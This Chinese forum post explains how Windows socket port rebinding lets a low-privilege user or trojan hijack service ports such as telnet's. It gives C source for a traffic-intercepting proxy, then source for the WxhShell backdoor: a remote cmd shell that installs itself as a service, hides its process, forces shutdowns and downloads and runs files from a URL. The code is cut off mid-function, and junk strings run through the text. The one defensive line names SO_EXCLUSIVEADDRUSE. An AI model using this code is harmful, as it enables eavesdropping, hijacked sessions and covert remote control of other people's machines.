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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s*9lYk0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =>Q$S  
h{/lW#[  
  saddr.sin_family = AF_INET; 3'xmq  
j9g0k<eg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?d5_{*]+v  
pzFM#   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gaC [%M  
.qfU^AHA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zk<Y+!  
8k9q@FSln  
  这意味着什么?意味着可以进行如下的攻击: 0 ~^l*  
 <6STw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4sM9~zC5  
%uQOAe55  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (4Ha'uqz  
.:9XpKbt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *Q!I^]CR  
3:?QE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m2>$)\-;  
YGsg0I't  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f|NWn`#bY  
tBtmqxx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #VU>Z|$@N  
3,dIW*<**  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PE&$2(  
d8N4@3CkL  
  #include N@3&e;y  
  #include L 4Sa,ZL  
  #include @E%f AC  
  #include    -Zfq:Kr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `6FH@" |I  
  int main() f =kt0  
  { B"3uuk8  
  WORD wVersionRequested; 0fAo&B  
  DWORD ret; [{-5  
  WSADATA wsaData; abtYa  
  BOOL val; byN4?3 F  
  SOCKADDR_IN saddr; Nc\jA=  
  SOCKADDR_IN scaddr; ;uyQR8  
  int err; +Cs.v.GA5  
  SOCKET s;  hpOK9  
  SOCKET sc; 7f]O /  
  int caddsize; vhz Q.>  
  HANDLE mt; %h4|$  
  DWORD tid;   CQh6;[\:  
  wVersionRequested = MAKEWORD( 2, 2 ); |TRl >1rv  
  err = WSAStartup( wVersionRequested, &wsaData ); ur JR[$p  
  if ( err != 0 ) { VX,@Gp_'m  
  printf("error!WSAStartup failed!\n"); Sp./*h\}  
  return -1; jVInTR0f[  
  } ofy)}/i  
  saddr.sin_family = AF_INET; wY{!gQ  
   6>F1!Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 miEf<<L#z  
(&oT6Ji  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Hq0O!Zv  
  saddr.sin_port = htons(23); ey ?paT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1( vcM  
  { iL;{]A'0  
  printf("error!socket failed!\n"); t`G<}t  
  return -1; sHm :G_  
  } s&D>'J  
  val = TRUE; |l673FcJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JK^pb0ih  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JTdcL mL  
  { a8cX {6  
  printf("error!setsockopt failed!\n"); C sx EN4  
  return -1; Z/+H  
  } sZ%wQqy~k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {PS|q?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \$Aw[ 5&t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m4 :"c"  
IvJ5J&!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cg&:+  
  { F0tx.]uS  
  ret=GetLastError(); a~A"uLBR  
  printf("error!bind failed!\n"); g<s;uRA4O9  
  return -1; TykY>cl   
  } KYC<*1k  
  listen(s,2); U{PFeR,Uk  
  while(1) 8c'5P  
  { )( W%Hmi  
  caddsize = sizeof(scaddr); H':0  
  //接受连接请求 bw*D!mm,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~'t+X  
  if(sc!=INVALID_SOCKET) c'uDK>  
  {  R7ExMJw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VNHt ]Ewj  
  if(mt==NULL) eJ_$Etc  
  { Mk|*=#e;  
  printf("Thread Creat Failed!\n"); yCZ[z A  
  break; ]Ag{#GJ5D  
  } (tz fyZ M  
  } GpGq' 8|(  
  CloseHandle(mt); 0uhIJc'2  
  } Q0(3ps~H  
  closesocket(s); k?`Q\  
  WSACleanup(); /9(8ML#E  
  return 0; laA3v3*  
  }   B5MEE  
  DWORD WINAPI ClientThread(LPVOID lpParam) v\Edf;(  
  { *%jd>e7d  
  SOCKET ss = (SOCKET)lpParam; *FC26_pH  
  SOCKET sc; EQ2HQz ]  
  unsigned char buf[4096]; %)PQomn?  
  SOCKADDR_IN saddr; O^<\]_l  
  long num; 3y]rhB  
  DWORD val; cPg$*,]  
  DWORD ret; 7&*d]#&~j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7U`8W\-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PLs(+>H  
  saddr.sin_family = AF_INET; Ujfs!ikh&F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vlx\hJ<I  
  saddr.sin_port = htons(23); d1hXzJs  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #b+>O+vx8  
  { &d i=alvv1  
  printf("error!socket failed!\n"); g0 Jy:`M  
  return -1; `!7QegJa"  
  } @+(a{%~7y  
  val = 100; ge!Asm K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GL'zNQP-  
  { * Fz#x{zt  
  ret = GetLastError(); Ufv0Xj  
  return -1; :B1a2Y^"  
  } 7oFA5T _  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2hF j+Ay  
  { /V f L(  
  ret = GetLastError(); }W$}blbp  
  return -1; [eZ'h8  
  } q\T}jF\t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) , \R,O  
  { .q_SA-!w>  
  printf("error!socket connect failed!\n"); HFTDea+#  
  closesocket(sc); TDY =!  
  closesocket(ss); '^~3 8=FA  
  return -1; mBWhC<kKs  
  } <7yn:  
  while(1) sZYTpZgW4L  
  { Ng+Ge5C9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VIg=| Oe),  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mp)|5<%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uW^W/S%'  
  num = recv(ss,buf,4096,0); | sZu1K  
  if(num>0) g0"KC X  
  send(sc,buf,num,0); -KU@0G  
  else if(num==0) 8b:\@]g$  
  break; wm s@1~I  
  num = recv(sc,buf,4096,0); rK r2 K'  
  if(num>0) IXt cHAgX  
  send(ss,buf,num,0); UCS`09KNJ  
  else if(num==0) =%R|@lz_x  
  break; f f_| 3G  
  } $-;x8O]u  
  closesocket(ss); A3mSSc6  
  closesocket(sc); k80!!S=_>  
  return 0 ; ;P2(C >|  
  } <]kifiN#  
?8aPd"x  
jG~UyzWH;  
========================================================== V'XvwO@  
rBovC  
下边附上一个代码,,WXhSHELL z{dn   
9S$?2z".2  
========================================================== R; Gf3K  
3-$w5O3}  
#include "stdafx.h" HP*AN@>Kw  
ffE&=eh)  
#include <stdio.h> TM1J1GU  
#include <string.h> 4 Q FX  
#include <windows.h> %QKRl 5RM-  
#include <winsock2.h> ~L=Idt!9  
#include <winsvc.h> jj*e.t:F  
#include <urlmon.h> 7COJ.rA  
Mv^G%zg2  
#pragma comment (lib, "Ws2_32.lib") rkC6 -9V  
#pragma comment (lib, "urlmon.lib") P g1EE"N@  
AC9#!# OGB  
#define MAX_USER   100 // 最大客户端连接数 mB]Y;R<  
#define BUF_SOCK   200 // sock buffer \J?5K l[*c  
#define KEY_BUFF   255 // 输入 buffer QW1d&Gb.(  
b=j]tb,  
#define REBOOT     0   // 重启 O.~@V(7ah  
#define SHUTDOWN   1   // 关机 d*TpHLm  
SK_i 3?  
#define DEF_PORT   5000 // 监听端口 +i.b&PF'H  
>!|(n @  
#define REG_LEN     16   // 注册表键长度 Hxzdxwz%$  
#define SVC_LEN     80   // NT服务名长度 hg=BXe4:  
1O]27"9  
// 从dll定义API 6 w:@i_2^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jt8% L[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *,=WaODO%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MX#MDA-4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z`lCS o;  
*^5..0du  
// wxhshell配置信息  %Jc>joU  
struct WSCFG { x#s=eeP1  
  int ws_port;         // 监听端口 VIjsz42C  
  char ws_passstr[REG_LEN]; // 口令 Mb0cdK?hA  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uv"GG: K_  
  char ws_regname[REG_LEN]; // 注册表键名 niIjatT  
  char ws_svcname[REG_LEN]; // 服务名 1GL@t?S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W!G2$e6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pr(16P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $6]7>:8mz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N}2xt)JZz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L?5OWVX!v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YOHYXhc{S  
LYY|8)Nj2"  
}; =w&<LJPJ  
C4ut!I #  
// default Wxhshell configuration y~N,=5>j  
struct WSCFG wscfg={DEF_PORT, K?o}B  
    "xuhuanlingzhe", &]2z)&a  
    1, C^x+'. ^N  
    "Wxhshell", g)Byd\DS  
    "Wxhshell", +T@a/(Gl  
            "WxhShell Service", `kP (2b  
    "Wrsky Windows CmdShell Service", =7c1l77z  
    "Please Input Your Password: ", : *Nvy={c  
  1, \4.U.pKY  
  "http://www.wrsky.com/wxhshell.exe", ToHCS/J59  
  "Wxhshell.exe" wGC)gW  
    }; kGZ_/"iuO  
G;%Pf9 o26  
// 消息定义模块 $*{$90 Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i-EFq@xl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c=T^)~$$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o(/(`/  
char *msg_ws_ext="\n\rExit."; 3e g<)  
char *msg_ws_end="\n\rQuit."; $I7/FZP  
char *msg_ws_boot="\n\rReboot..."; 3 T3p[q4  
char *msg_ws_poff="\n\rShutdown..."; {&Fh$H!  
char *msg_ws_down="\n\rSave to "; wZECG-jr/  
S)0bu(a`Z,  
char *msg_ws_err="\n\rErr!"; t;@VsQ8  
char *msg_ws_ok="\n\rOK!"; Pb|'f(  
/WVnyz0  
char ExeFile[MAX_PATH]; |WB<yA1  
int nUser = 0; ~OXC6z  
HANDLE handles[MAX_USER]; .FnO  
int OsIsNt; 1;l&ck-Gg/  
:fr 2K  
SERVICE_STATUS       serviceStatus; A2b C5lA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !t["pr\ ?  
I,r 3.2u  
// 函数声明 %&yD^ q_  
int Install(void); *My?l75  
int Uninstall(void); _ID2yJ   
int DownloadFile(char *sURL, SOCKET wsh); IA|V^Wmt;  
int Boot(int flag); pX]*&[X?  
void HideProc(void); {37DrSOa  
int GetOsVer(void);  S< <xlW  
int Wxhshell(SOCKET wsl); |*N.SS  
void TalkWithClient(void *cs); OjCT*qyU<  
int CmdShell(SOCKET sock); +SmcZ^\OZ  
int StartFromService(void); byv(:xk|'e  
int StartWxhshell(LPSTR lpCmdLine); HlB'yOHv!  
D4m2*%M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X?b]5?K;r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); & CiUU  
z+1#p.F$@  
// 数据结构和表定义 'A,&9E{%1  
SERVICE_TABLE_ENTRY DispatchTable[] = R.R(|!w>  
{ fz W%(.tc\  
{wscfg.ws_svcname, NTServiceMain}, 2FO.!m  
{NULL, NULL} _1c'~;  
}; '?5=j1  
3R?7&oXvH  
// 自我安装 5( lE$&   
int Install(void) 9jiZtwRpk  
{ L;xc,"\3  
  char svExeFile[MAX_PATH]; ML0o :8Bd\  
  HKEY key; e:V(kzAY;  
  strcpy(svExeFile,ExeFile); ^\cB&<h  
r+;C}[E  
// 如果是win9x系统,修改注册表设为自启动 jz|zq\Eek  
if(!OsIsNt) { \qAMs^1-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  y'Xg"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +7o3TA]-  
  RegCloseKey(key); e+=Ojo#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kRskeMr:Rd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qqSk*oH~  
  RegCloseKey(key); T IPb ]  
  return 0; :>'^l?b'WX  
    } UUv&X+ Y  
  } @3[Z Q F  
} pCA(>(  
else { V5K!u8T  
 :XF;v  
// 如果是NT以上系统,安装为系统服务 Wn24eld"x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !wvP 24"y  
if (schSCManager!=0) 'r4 j;Jn  
{ K2L+tw  
  SC_HANDLE schService = CreateService T"t3e=xA  
  ( +J$[RxQ#  
  schSCManager, F5.Vhg  
  wscfg.ws_svcname, WB5[!  
  wscfg.ws_svcdisp, pr/yDG ia  
  SERVICE_ALL_ACCESS, Iq_cs '  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $dci?7q  
  SERVICE_AUTO_START, #:{PAt  
  SERVICE_ERROR_NORMAL, UioLu90 P  
  svExeFile, GfY!~J  
  NULL, 1bd(JL  
  NULL, ro6peUL*2`  
  NULL, uKh),@JV  
  NULL, Revc :m1o  
  NULL d/- f]   
  ); 9pStArF?F0  
  if (schService!=0) j,Qp*b#Qo  
  { WU{G_Fqaz  
  CloseServiceHandle(schService); -GCGxC2u  
  CloseServiceHandle(schSCManager); +D`IcR-x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .!,T> :R  
  strcat(svExeFile,wscfg.ws_svcname); pb}QP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &BCl>^wn}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hFZ7{pj  
  RegCloseKey(key); S!2M?}LU  
  return 0; p-y,OG  
    } O@'/B" &  
  } lz faW-nu  
  CloseServiceHandle(schSCManager); AlIFTNg:"  
} wvcG <sj  
} 5)2lZ(5.A#  
GTNN4  
return 1; 4At%{E  
} y0M^oLx  
/'u-Fr(Q+  
// 自我卸载 n4Ry)O[.  
int Uninstall(void) 0tC+?  
{ pz6fL=Xd  
  HKEY key; D^]7/w:$-  
]P<u^ `{*  
if(!OsIsNt) { k!>MZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U{} bx  
  RegDeleteValue(key,wscfg.ws_regname); e54wAypPOl  
  RegCloseKey(key); H@qA X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `!kOyh:X  
  RegDeleteValue(key,wscfg.ws_regname); sG[v vm  
  RegCloseKey(key); E #q gt9  
  return 0; 2#1"(m{  
  } Ri=:=oF(  
} mSF>~D1_  
} -c|dTZ8D)8  
else { .<%2ON_  
&*}`uJt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?~X*\  
if (schSCManager!=0) vikA  
{ y.PWh<dI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R?MRRq  
  if (schService!=0) E w#UlA:"v  
  { 44C"Pl E u  
  if(DeleteService(schService)!=0) { }N[|2n R'  
  CloseServiceHandle(schService); r@b M3V_o  
  CloseServiceHandle(schSCManager); oS6dcJHf  
  return 0; 7iMBDkb7  
  } Hvqvggfi  
  CloseServiceHandle(schService); N^</:R  
  } 5x856RQ'  
  CloseServiceHandle(schSCManager); nwuH:6~"  
} Z>hS&B  
} $cjwY$6  
nb-]fa  
return 1; zG-pqE6  
} fy9mS  
5:y\ejU  
// 从指定url下载文件 qaJ$0,]H+  
int DownloadFile(char *sURL, SOCKET wsh) [PG#5.jwQ  
{ zwJB.4@  
  HRESULT hr; (=&z:-52V  
char seps[]= "/";  dpG l  
char *token; >=Bl/0YH  
char *file; lw+Y_;  
char myURL[MAX_PATH]; WXHvUiFf  
char myFILE[MAX_PATH]; LX f r  
U}f"a!  
strcpy(myURL,sURL); DBTeV-G9~R  
  token=strtok(myURL,seps); OM,Dy&Y  
  while(token!=NULL) h0**[LDH  
  { *rKj%Me  
    file=token; <"/b 5kc  
  token=strtok(NULL,seps); QguRU|y  
  } pHKcKqB*13  
<[.{aj]QV  
GetCurrentDirectory(MAX_PATH,myFILE); P:D@ 5  
strcat(myFILE, "\\"); C_> WU   
strcat(myFILE, file); m q#8 [D  
  send(wsh,myFILE,strlen(myFILE),0); *<r\:g  
send(wsh,"...",3,0); P+ ejyl,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #h=pU/R  
  if(hr==S_OK) qmmQH S  
return 0; 7`xeuK  
else Z4ekBdmCL  
return 1; (F=/r] Q  
A-"2sp*t  
} VT ikLuH  
;]gj:6M  
// 系统电源模块 +az=EF  
int Boot(int flag) !AR@GuQPE  
{ vciO={M  
  HANDLE hToken; d23;c )'  
  TOKEN_PRIVILEGES tkp; .+3~ w  
=Jyi9VN=&  
  if(OsIsNt) { .)(5F45Wg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rtywi}VV2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r0^*|+   
    tkp.PrivilegeCount = 1; $Gs9"~z?;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @kst G3@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r+%$0eB1^  
if(flag==REBOOT) { C"SG':  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~K$dQb])  
  return 0; 3M^s EaUI  
} D9yAq'k$  
else { G^1 5V'*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C[ma!he  
  return 0; hqDnmzG  
} Mi^/`1  
  } m>FP&~2  
  else { 4De2m iq  
if(flag==REBOOT) { xaN[ru@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D( \c?X"  
  return 0; kR0/jEz C  
} }[;{@Zn  
else { R1cOUV,y[/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )L+>^cJI<  
  return 0; R6cd;| fan  
} }1kZF{KD<[  
} >mAi/TZC  
ew+>?a'&L  
return 1; !8Y $}  
} V$Zl]f$S  
Kcu*Z  
// win9x进程隐藏模块 QZwZ4$jkiO  
void HideProc(void) tkIpeL[d  
{ +b sc3  
pQ,|l$^m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W?H-Ng3E  
  if ( hKernel != NULL ) f7_V ]  
  { >,6%Y3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zdfruzl&`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]Uj7f4)k  
    FreeLibrary(hKernel); aG&t gD{  
  } OC6v%@xa  
uqHI/4  
return; 0<[g7BbR  
} vJ?j#Ch  
r91b]m3xL  
// 获取操作系统版本 % <1&\5f<5  
int GetOsVer(void) g0-~ %A,  
{ $Wn!vbL  
  OSVERSIONINFO winfo; L3;cAb/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A$jf#,  
  GetVersionEx(&winfo); xLShMv}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +\x}1bNS%j  
  return 1; wbQs>pc  
  else _aP 2gH  
  return 0; ~ugyUpY"  
} aY8QYK ;?^  
/Ue_1Efa  
// 客户端句柄模块 [;Y*f,UG_-  
int Wxhshell(SOCKET wsl) ruU &.mZ  
{ $tqr+1P  
  SOCKET wsh; _T.T[%-&=  
  struct sockaddr_in client; ;9;jUQ]MyG  
  DWORD myID; bLsN?_jy  
O77^.B  
  while(nUser<MAX_USER) K+<F, P  
{ i%GNm D  
  int nSize=sizeof(client); yPoa04!{=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e_+SBN1`P&  
  if(wsh==INVALID_SOCKET) return 1; N{&Hq4^c  
m)ENj6A>yP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +JejnG0  
if(handles[nUser]==0) Ake$M^Bz  
  closesocket(wsh); Yln[ZmK9g  
else !NO)|N>  
  nUser++; aZ'(ar :  
  } |hD)=sCj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g[L}puN  
P$v9  
  return 0; }X9G(`N(}  
} 'FM_5`&  
pGcijD  
// 关闭 socket lobC G  
void CloseIt(SOCKET wsh) >@0U B@  
{ 9jI5bi)  
closesocket(wsh); Utj4f-M  
nUser--; O`f[9^fN  
ExitThread(0); 5 \iX%w@  
} T9?8@p\}(  
!BDJU  
// 客户端请求句柄 R*O<(  
void TalkWithClient(void *cs) PUEEfq!%  
{ 4Z0Y8y8)  
wCt!.<, .  
  SOCKET wsh=(SOCKET)cs; 'M35L30  
  char pwd[SVC_LEN]; f {j`d&|  
  char cmd[KEY_BUFF]; ]D<3y IGS  
char chr[1]; m](q,65 2  
int i,j; JN-W`2  
-ZH6*7!  
  while (nUser < MAX_USER) { HX#$ ^@Q(  
,CIsZ1[VS  
if(wscfg.ws_passstr) { KkZS6rD\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dmYgv^t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z#zXary5s  
  //ZeroMemory(pwd,KEY_BUFF); 5}4>vEn  
      i=0; %\B@!4]  
  while(i<SVC_LEN) { M7.H;.?  
~j yl  
  // 设置超时 \hD jZ  
  fd_set FdRead; xM_+vN *(  
  struct timeval TimeOut; Yan,Bt{YJ  
  FD_ZERO(&FdRead); d`3>@*NR<  
  FD_SET(wsh,&FdRead); r*g<A2g%  
  TimeOut.tv_sec=8; /DX6Hkkj%  
  TimeOut.tv_usec=0; "b[w%KYyl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F.iJz4ya_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @DuSii#.S  
%I#[k4,N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .zo>,*:t  
  pwd=chr[0]; B *otqu z  
  if(chr[0]==0xd || chr[0]==0xa) { _ykT(`.#  
  pwd=0; do DpTwvh  
  break; fjLS_Q ;h  
  } C/ENJ&  
  i++; $q g/8G  
    } %b>Ee>rdD  
IN?rPdY  
  // 如果是非法用户,关闭 socket -] `OaL!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (%)<jg1  
} <P_B|Y4N/  
f,VJfY?#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c^7QiTt_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m^KK #Hw/`  
2`pg0ciX (  
while(1) { MX s]3M  
I` q"  
  ZeroMemory(cmd,KEY_BUFF); 6]fz;\DgP  
.&rL>A2U  
      // 自动支持客户端 telnet标准   N4u-tlA  
  j=0; y\mK?eR  
  while(j<KEY_BUFF) { qsHjqK@(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /{!?e<N>  
  cmd[j]=chr[0]; Rv|X\Wm  
  if(chr[0]==0xa || chr[0]==0xd) { [4b_`L  
  cmd[j]=0; -5GRit1q?  
  break; S3sxK:  
  } vJsx_ i\i  
  j++; a H *5(E]  
    } 1? Im"  
:,Mg1Zf  
  // 下载文件 dPmNX-'7  
  if(strstr(cmd,"http://")) { %<h+_(\h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I5#zo,9  
  if(DownloadFile(cmd,wsh)) }5=tUfh)]'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); li&&[=6A  
  else )BmO[AiOM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p* tAwl  
  } h`pXUnEZ  
  else { iJ p E`  
J'@`+veE  
    switch(cmd[0]) { ,rWej;CzN  
  `Zd\d:Wyv  
  // 帮助 2py [P  
  case '?': { }\]J?I+A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F~x>\?iN  
    break; c3C<P  
  } CYZ0F5+t  
  // 安装 n0opb [?  
  case 'i': { 0l2@3}e  
    if(Install()) fu{.Ir  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~c${?uf   
    else {J]x81}*;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7(B"3qF8|  
    break; 17+2`@vJgM  
    } \pVWYx  
  // 卸载 yc.9CTxx  
  case 'r': { 18o5Gs;yx  
    if(Uninstall()) 4(TR'_X(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rf YFS96  
    else &nfGRb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L[O.]2  
    break; -HUlB|Q8r  
    } |6!L\/}M%  
  // 显示 wxhshell 所在路径 *#7]PA Qw  
  case 'p': { UOcO\EA+  
    char svExeFile[MAX_PATH]; o>o! -uf  
    strcpy(svExeFile,"\n\r"); >rid3~  
      strcat(svExeFile,ExeFile); ?VR:e7|tU  
        send(wsh,svExeFile,strlen(svExeFile),0); 4x2,X`pe3  
    break; P:fcbfH+  
    } WbGN 5?9Q  
  // 重启 @q+X:K5b  
  case 'b': { 1[4 0\sM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ cm^Fi5  
    if(Boot(REBOOT)) `R,g_{M j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #GOL%2X  
    else { !Hx[ `3  
    closesocket(wsh); OtZc;c  
    ExitThread(0); ;ji[ "b  
    } PiF&0;  
    break; agj_l}=gO  
    } I:edLg1T  
  // 关机 XY!0yAK(!  
  case 'd': { %IK[d#HO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); maVfLVx-  
    if(Boot(SHUTDOWN)) 3h`_Qv%g  
